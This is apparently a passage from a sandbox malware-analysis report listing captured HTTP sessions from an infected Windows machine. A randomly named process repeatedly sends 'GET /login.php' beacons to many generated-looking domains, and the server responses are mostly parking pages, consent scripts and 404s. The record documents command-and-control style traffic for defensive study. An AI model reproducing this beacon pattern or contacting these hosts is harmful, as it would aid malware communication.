Nov 11, 2024 18:51:14.965106010 CET	1236	IN	HTTP/1.1 200 OK date: Mon, 11 Nov 2024 17:51:14 GMT content-type: text/html; charset=UTF-8 transfer-encoding: chunked vary: Accept-Encoding expires: Mon, 26 Jul 1997 05:00:00 GMT cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 pragma: no-cache x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_g5rlXs9RuRW4dglqQ5LydJEttSTVBsfpTg5YbTbTgxQyCxJaX/4wWztIAOuRl2yVYhX0WGF1Yaew3U85nGI5uA== last-modified: Mon, 11 Nov 2024 17:51:14 GMT x-cache-miss-from: parking-7596689c44-ptvfg server: Parking/1.0 Data Raw: 32 45 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 6e 79 6c 57 77 32 76 4c 59 34 68 55 6e 39 77 30 36 7a 51 4b 62 68 4b 42 66 76 6a 46 55 43 73 64 46 6c 62 36 54 64 51 68 78 62 39 52 58 57 58 75 49 34 74 33 31 63 2b 6f 38 66 59 4f 76 2f 73 38 71 31 4c 47 50 67 61 33 44 45 31 4c 2f 74 48 55 34 4c 45 4e 4d 43 41 77 45 41 41 51 3d 3d 5f 67 35 72 6c 58 73 39 52 75 52 57 34 64 67 6c 71 51 35 4c 79 64 4a 45 74 74 53 54 56 42 73 66 70 54 67 35 59 62 54 62 54 67 78 51 79 43 78 4a 61 58 2f 34 77 57 7a 74 49 41 4f 75 52 6c 32 79 56 59 68 58 30 57 47 46 31 59 61 65 77 33 55 38 35 6e 47 49 35 75 41 3d 3d 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 67 61 68 79 71 61 68 2e 63 6f 6d 26 6e 62 73 70 3b 2d 26 6e 62 73 70 3b 67 61 68 79 71 61 68 20 [TRUNCATED] Data Ascii: 2E3<!DOCTYPE html><html lang="en" data-adblockkey=MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_g5rlXs9RuRW4dglqQ5LydJEttSTVBsfpTg5YbTbTgxQyCxJaX/4wWztIAOuRl2yVYhX0WGF1Yaew3U85nGI5uA==><head><meta charset="utf-8"><title>gahyqah.com - gahyqah Resources and Information.</title><meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=0"><meta name="description" content="gahyqah.com is your first and best source for all of the information youre looking for. From g
Nov 11, 2024 18:51:14.965285063 CET	1236	IN	Data Raw: 65 6e 65 72 61 6c 20 74 6f 70 69 63 73 20 74 6f 20 6d 6f 72 65 20 6f 66 20 77 68 61 74 20 79 6f 75 20 77 6f 75 6c 64 20 65 78 70 65 63 74 20 74 6f 20 66 69 6e 64 20 68 65 72 65 2c 20 67 61 68 79 71 61 68 2e 63 6f 6d 20 68 61 73 20 69 74 20 61 6c Data Ascii: eneral topics to more of what you would expect to find here, gahyqah.com has it all. We hope you find what you are searching for!"><link AEC rel="icon" type="image/png" href="//img.sedoparking.com/templates/logos/sed
Nov 11, 2024 18:51:14.965297937 CET	1236	IN	Data Raw: 7b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 6e 6f 6e 65 7d 73 76 67 3a 6e 6f 74 28 3a 72 6f 6f 74 29 7b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 2c 6f 70 74 67 72 6f 75 70 2c 73 65 6c 65 63 74 2c 74 65 78 Data Ascii: {border-style:none}svg:not(:root){overflow:hidden}button,input,optgroup,select,textarea{font-family:sans-serif;font-size:100%;line-height:1.15;margin:0}button,input{overflow:visible}button,select{text-transform:none}button,html [type=button],[
Nov 11, 2024 18:51:14.965946913 CET	1236	IN	Data Raw: 74 2d 69 74 65 6d 7d 63 61 6e 76 61 73 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 74 65 6d 70 6c 61 74 65 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 5b 68 69 64 64 65 6e 5d 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 61 6e Data Ascii: t-item}canvas{display:inline-block}template{display:none}[hidden]{display:none}.announcement{background:#0e162e;text-align:center;padding:0 5px}.announcement p{color:#848484}.announcement a{color:#848484}.container-header{margin:0 auto 0 auto;
Nov 11, 2024 18:51:14.965959072 CET	1236	IN	Data Raw: 39 34 39 34 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 64 69 73 63 6c 61 69 6d 65 72 20 61 7b 63 6f 6c 6f 72 3a 23 39 34 39 34 39 34 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 69 6d 70 72 69 6e 74 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 63 Data Ascii: 9494}.container-disclaimer a{color:#949494}.container-imprint{text-align:center}.container-imprint__content{display:inline-block}.container-imprint__content-text,.container-imprint__content-link{font-size:10px;color:#949494}.container-contact-
Nov 11, 2024 18:51:14.966801882 CET	1236	IN	Data Raw: 3b 66 6f 6e 74 2d 73 69 7a 65 3a 6c 61 72 67 65 72 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 63 6f 6f 6b 69 65 2d 6d 65 73 73 61 67 65 20 61 7b 63 6f 6c 6f 72 3a 23 66 66 66 7d 2e 63 6f 6f 6b 69 65 2d 6d 6f 64 61 6c 2d 77 69 6e 64 6f 77 7b 70 6f 73 69 Data Ascii: ;font-size:larger}.container-cookie-message a{color:#fff}.cookie-modal-window{position:fixed;background-color:rgba(200,200,200,.75);top:0;right:0;bottom:0;left:0;-webkit-transition:all .3s;-moz-transition:all .3s;transition:all .3s;text-align:
Nov 11, 2024 18:51:14.966816902 CET	1236	IN	Data Raw: 61 6c 7d 2e 62 74 6e 2d 2d 73 75 63 63 65 73 73 2d 73 6d 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 31 61 36 62 32 63 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 31 61 36 62 32 63 3b 63 6f 6c 6f 72 3a 23 66 66 66 Data Ascii: al}.btn--success-sm:hover{background-color:#1a6b2c;border-color:#1a6b2c;color:#fff;font-size:initial}.btn--secondary{background-color:#8c959c;border-color:#8c959c;color:#fff;font-size:medium}.btn--secondary:hover{background-color:#727c83;borde
Nov 11, 2024 18:51:14.967444897 CET	1236	IN	Data Raw: 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 65 31 36 32 65 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 48 65 6c 76 65 74 69 63 61 2c 56 65 72 64 61 6e 61 2c 22 4c 75 63 69 64 61 20 47 72 61 6e 64 65 22 2c 73 61 6e 73 2d 73 65 72 69 66 Data Ascii: round-color:#0e162e;font-family:Arial,Helvetica,Verdana,"Lucida Grande",sans-serif}body.cookie-message-enabled{padding-bottom:300px}.container-footer{padding-top:20px;padding-left:5%;padding-right:5%;padding-bottom:10px}.container-content{text
Nov 11, 2024 18:51:14.967456102 CET	1236	IN	Data Raw: 28 2d 31 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 58 28 2d 31 29 3b 7a 2d 69 6e 64 65 78 3a 2d 31 3b 74 6f 70 3a 35 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 69 6e 68 65 72 69 74 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 63 6f 6e 74 65 6e 74 2d Data Ascii: (-1);transform:scaleX(-1);z-index:-1;top:50px;position:inherit}.container-content--lp{min-height:720px}.container-content--rp{min-height:820px}.container-content--rp .container-content__right,.container-content--rp .container-content__left{bac
Nov 11, 2024 18:51:14.967467070 CET	91	IN	Data Raw: 65 6c 65 6d 65 6e 74 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 77 6f 2d 74 69 65 72 2d 61 64 73 2d 6c 69 73 74 5f 5f 6c 69 73 74 2d 65 6c 65 6d 65 6e 74 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e Data Ascii: element-link:link,.two-tier-ads-list__list-element-link:visited{text-decoration:underline
Nov 11, 2024 18:51:14.970809937 CET	1236	IN	Data Raw: 35 37 36 0d 0a 7d 2e 74 77 6f 2d 74 69 65 72 2d 61 64 73 2d 6c 69 73 74 5f 5f 6c 69 73 74 2d 65 6c 65 6d 65 6e 74 2d 6c 69 6e 6b 3a 68 6f 76 65 72 2c 2e 74 77 6f 2d 74 69 65 72 2d 61 64 73 2d 6c 69 73 74 5f 5f 6c 69 73 74 2d 65 6c 65 6d 65 6e 74 Data Ascii: 576}.two-tier-ads-list__list-element-link:hover,.two-tier-ads-list__list-element-link:active,.two-tier-ads-list__list-element-link:focus{text-decoration:none}.webarchive-block{text-align:center}.webarchive-block__header-link{color:#9fd801;fo

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.6	59192	154.212.231.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:16.555241108 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gadyniw.com
Nov 11, 2024 18:51:17.440397978 CET	696	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 11 Nov 2024 17:51:17 GMT Content-Type: text/html Content-Length: 548 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	59199	3.94.10.34	80

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:19.303925037 CET	353	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lymyxid.com Cookie: snkz=66.23.206.109; btst=3f95d6b3439c1d0f64626ac83ec297f1\|66.23.206.109\|1731347473\|1731347428\|13\|3\|0
Nov 11, 2024 18:51:19.733899117 CET	334	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 11 Nov 2024 17:51:19 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=3f95d6b3439c1d0f64626ac83ec297f1\|66.23.206.109\|1731347479\|1731347428\|9\|4\|0; path=/; domain=.lymyxid.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.6	59196	199.191.50.83	80	3328	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:19.304039001 CET	281	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: galyqaz.com Cookie: vsid=903vr478893028933998491
Nov 11, 2024 18:51:21.480437994 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 17:51:19 GMT Server: Apache Referrer-Policy: no-referrer-when-downgrade Accept-CH: Sec-CH-Save-Data, Sec-CH-DPR, Sec-CH-Width, Sec-CH-Viewport-Width, Sec-CH-Viewport-Height, Sec-CH-Device-Memory, Sec-CH-RTT, Sec-CH-Downlink, Sec-CH-ECT, Sec-CH-Prefers-Color-Scheme, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-platform-version=("https://dts.gnpge.com"), ch-ua-model=("https://dts.gnpge.com") X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_NHOnw0G73BscnvIcyf8HaXYxUwB52N5y4R2rV77ldfg6F/P3HTMIgnr4aIPWR/fyPGslgb3huQzNdSH/7sK+hw== Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 61 39 63 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 6c 69 76 65 72 79 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 74 61 79 69 6e 69 66 72 61 6d 65 20 3d 20 31 3b 20 77 69 6e 64 6f 77 2e 63 6d 70 5f 64 6f 6e 74 6c 6f 61 64 69 6e 69 66 72 61 6d 65 20 3d 20 74 72 75 65 3b 20 69 66 28 [TRUNCATED] Data Ascii: a9cc<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="preconnect" href="https://delivery.consentmanager.net"> <link rel="preconnect" href="https://cdn.consentmanager.net"> <script>window.cmp_stayiniframe = 1; window.cmp_dontloadiniframe = true; if(!"gdprAppliesGlobally" in window){window.gdprAppliesGlobally=true}i
Nov 11, 2024 18:51:21.480606079 CET	1236	IN	Data Raw: 66 28 21 28 22 63 6d 70 5f 69 64 22 20 69 6e 20 77 69 6e 64 6f 77 29 7c 7c 77 69 6e 64 6f 77 2e 63 6d 70 5f 69 64 3c 31 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 69 64 3d 30 7d 69 66 28 21 28 22 63 6d 70 5f 63 64 69 64 22 20 69 6e 20 77 69 6e 64 6f Data Ascii: f(!("cmp_id" in window)\|\|window.cmp_id<1){window.cmp_id=0}if(!("cmp_cdid" in window)){window.cmp_cdid="21fdca2281833"}if(!("cmp_params" in window)){window.cmp_params=""}if(!("cmp_host" in window)){window.cmp_host="a.delivery.consentmanager.net
Nov 11, 2024 18:51:21.480619907 CET	1236	IN	Data Raw: 65 64 4c 61 6e 67 73 28 29 3b 76 61 72 20 63 3d 5b 5d 3b 76 61 72 20 66 3d 6c 6f 63 61 74 69 6f 6e 2e 68 61 73 68 3b 76 61 72 20 65 3d 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 3b 76 61 72 20 61 3d 22 6c 61 6e 67 75 61 67 65 73 22 20 69 6e 20 Data Ascii: edLangs();var c=[];var f=location.hash;var e=location.search;var a="languages" in navigator?navigator.languages:[];if(f.indexOf("cmplang=")!=-1){c.push(f.substr(f.indexOf("cmplang=")+8,2).toUpperCase())}else{if(e.indexOf("cmplang=")!=-1){c.pus
Nov 11, 2024 18:51:21.481296062 CET	1236	IN	Data Raw: 3d 22 22 3b 69 2b 3d 22 3d 22 3b 76 61 72 20 73 3d 69 2e 6c 65 6e 67 74 68 3b 76 61 72 20 64 3d 6c 6f 63 61 74 69 6f 6e 3b 69 66 28 64 2e 68 61 73 68 2e 69 6e 64 65 78 4f 66 28 69 29 21 3d 2d 31 29 7b 77 3d 64 2e 68 61 73 68 2e 73 75 62 73 74 72 Data Ascii: ="";i+="=";var s=i.length;var d=location;if(d.hash.indexOf(i)!=-1){w=d.hash.substr(d.hash.indexOf(i)+s,9999)}else{if(d.search.indexOf(i)!=-1){w=d.search.substr(d.search.indexOf(i)+s,9999)}else{return e}}if(w.indexOf("&")!=-1){w=w.substr(0,w.in
Nov 11, 2024 18:51:21.481307983 CET	584	IN	Data Raw: 72 72 65 6e 74 53 63 72 69 70 74 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 29 7b 75 2e 63 75 72 72 65 6e 74 53 63 72 69 70 74 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6a 29 7d 65 6c 73 65 7b 69 66 28 75 2e Data Ascii: rrentScript.parentElement){u.currentScript.parentElement.appendChild(j)}else{if(u.body){u.body.appendChild(j)}else{var t=v("body");if(t.length==0){t=v("div")}if(t.length==0){t=v("span")}if(t.length==0){t=v("ins")}if(t.length==0){t=v("script")}
Nov 11, 2024 18:51:21.481792927 CET	1236	IN	Data Raw: 65 72 79 2f 22 2b 6d 2b 22 2f 63 6d 70 22 2b 62 2b 70 2b 22 2e 6a 73 22 3b 6a 2e 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3b 6a 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 63 6d 70 2d 61 62 22 2c 22 31 22 Data Ascii: ery/"+m+"/cmp"+b+p+".js";j.type="text/javascript";j.setAttribute("data-cmp-ab","1");j.async=true;if(u.currentScript&&u.currentScript.parentElement){u.currentScript.parentElement.appendChild(j)}else{if(u.body){u.body.appendChild(j)}else{var t=v
Nov 11, 2024 18:51:21.481803894 CET	1236	IN	Data Raw: 62 2e 69 6e 64 65 78 4f 66 28 22 3b 22 29 2b 31 3b 69 66 28 65 3d 3d 30 29 7b 65 3d 62 2e 6c 65 6e 67 74 68 7d 62 3d 62 2e 73 75 62 73 74 72 69 6e 67 28 65 2c 62 2e 6c 65 6e 67 74 68 29 7d 72 65 74 75 72 6e 28 66 29 7d 3b 77 69 6e 64 6f 77 2e 63 Data Ascii: b.indexOf(";")+1;if(e==0){e=b.length}b=b.substring(e,b.length)}return(f)};window.cmp_stub=function(){var a=arguments;__cmp.a=__cmp.a\|\|[];if(!a.length){return __cmp.a}else{if(a[0]==="ping"){if(a[1]===2){a[2]({gdprApplies:gdprAppliesGlobally,cmp
Nov 11, 2024 18:51:21.482537031 CET	1236	IN	Data Raw: 65 3a 22 6c 69 73 74 65 6e 65 72 52 65 67 69 73 74 65 72 65 64 22 2c 6c 69 73 74 65 6e 65 72 49 64 3a 63 2c 64 61 74 61 3a 74 72 75 65 2c 70 69 6e 67 44 61 74 61 3a 77 69 6e 64 6f 77 2e 63 6d 70 5f 67 70 70 5f 70 69 6e 67 28 29 7d 7d 65 6c 73 65 Data Ascii: e:"listenerRegistered",listenerId:c,data:true,pingData:window.cmp_gpp_ping()}}else{if(g==="removeEventListener"){var h=false;__gpp.e=__gpp.e\|\|[];for(var d=0;d<__gpp.e.length;d++){if(__gpp.e[d].id==e){__gpp.e[d].splice(d,1);h=true;break}}return
Nov 11, 2024 18:51:21.482549906 CET	1236	IN	Data Raw: 20 62 3d 63 2e 5f 5f 74 63 66 61 70 69 43 61 6c 6c 3b 77 69 6e 64 6f 77 2e 5f 5f 74 63 66 61 70 69 28 62 2e 63 6f 6d 6d 61 6e 64 2c 62 2e 76 65 72 73 69 6f 6e 2c 66 75 6e 63 74 69 6f 6e 28 68 2c 67 29 7b 76 61 72 20 65 3d 7b 5f 5f 74 63 66 61 70 Data Ascii: b=c.__tcfapiCall;window.__tcfapi(b.command,b.version,function(h,g){var e={__tcfapiReturn:{returnValue:h,success:g,callId:b.callId}};d.source.postMessage(a?JSON.stringify(e):e,"*")},b.parameter)}if(typeof(c)==="object"&&c!==null&&"__gppCall" i
Nov 11, 2024 18:51:21.483212948 CET	716	IN	Data Raw: 74 63 66 22 20 69 6e 20 77 69 6e 64 6f 77 29 7c 7c 21 77 69 6e 64 6f 77 2e 63 6d 70 5f 64 69 73 61 62 6c 65 74 63 66 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 61 64 64 46 72 61 6d 65 28 22 5f 5f 74 63 66 61 70 69 4c 6f 63 61 74 6f 72 22 29 7d 69 66 Data Ascii: tcf" in window)\|\|!window.cmp_disabletcf){window.cmp_addFrame("__tcfapiLocator")}if(!("cmp_disablegpp" in window)\|\|!window.cmp_disablegpp){window.cmp_addFrame("__gppLocator")}window.cmp_setStub("__cmp");if(!("cmp_disabletcf" in window)\|\|!window
Nov 11, 2024 18:51:21.485519886 CET	1236	IN	Data Raw: 6f 6e 20 68 61 6e 64 6c 65 41 42 50 44 65 74 65 63 74 28 29 7b 74 72 79 7b 69 66 28 21 61 62 70 29 20 72 65 74 75 72 6e 3b 76 61 72 20 69 6d 67 6c 6f 67 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6d 67 22 Data Ascii: on handleABPDetect(){try{if(!abp) return;var imglog = document.createElement("img");imglog.style.height="0px";imglog.style.width="0px";imglog.src="http://galyqaz.com/sk-logabpstatus.php?a=SkpPSHVUbmZKc0VMdDA0MTA5Yk8zZXhLVlpiT3JPbjdsUXJVNzVzV25

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.6	59195	44.221.84.105	80	3328	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:19.316389084 CET	352	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qetyfuv.com Cookie: snkz=66.23.206.109; btst=4373610fafa62658a68c9dde6ca5d09a\|66.23.206.109\|1731347473\|1731347428\|9\|4\|0
Nov 11, 2024 18:51:19.732925892 CET	334	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 11 Nov 2024 17:51:19 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=4373610fafa62658a68c9dde6ca5d09a\|66.23.206.109\|1731347479\|1731347428\|7\|5\|0; path=/; domain=.qetyfuv.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.6	59198	44.221.84.105	80	3328	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:19.316392899 CET	353	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vocyzit.com Cookie: snkz=66.23.206.109; btst=39d16f88231e9d77c030571879e36c23\|66.23.206.109\|1731347473\|1731347428\|13\|3\|0
Nov 11, 2024 18:51:19.731360912 CET	334	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 11 Nov 2024 17:51:19 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=39d16f88231e9d77c030571879e36c23\|66.23.206.109\|1731347479\|1731347428\|9\|4\|0; path=/; domain=.vocyzit.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.6	59197	199.59.243.227	80	3328	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:19.318542957 CET	305	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vojyqem.com Cookie: parking_session=1e890a73-ac3b-42d0-806f-39725fa4b723
Nov 11, 2024 18:51:19.730324984 CET	1236	IN	HTTP/1.1 200 OK date: Mon, 11 Nov 2024 17:51:18 GMT content-type: text/html; charset=utf-8 content-length: 1094 x-request-id: a864822b-6a6f-48ea-938d-f29b46c30e35 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VMytHbmmrfMc+kzmiPYTt2uS2PDnHHj/p/2nCNN04G2eOrYX/LSI9ifattC96o92xCzWruQ65ql9+oondzcTDQ== set-cookie: parking_session=1e890a73-ac3b-42d0-806f-39725fa4b723; expires=Mon, 11 Nov 2024 18:06:19 GMT Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 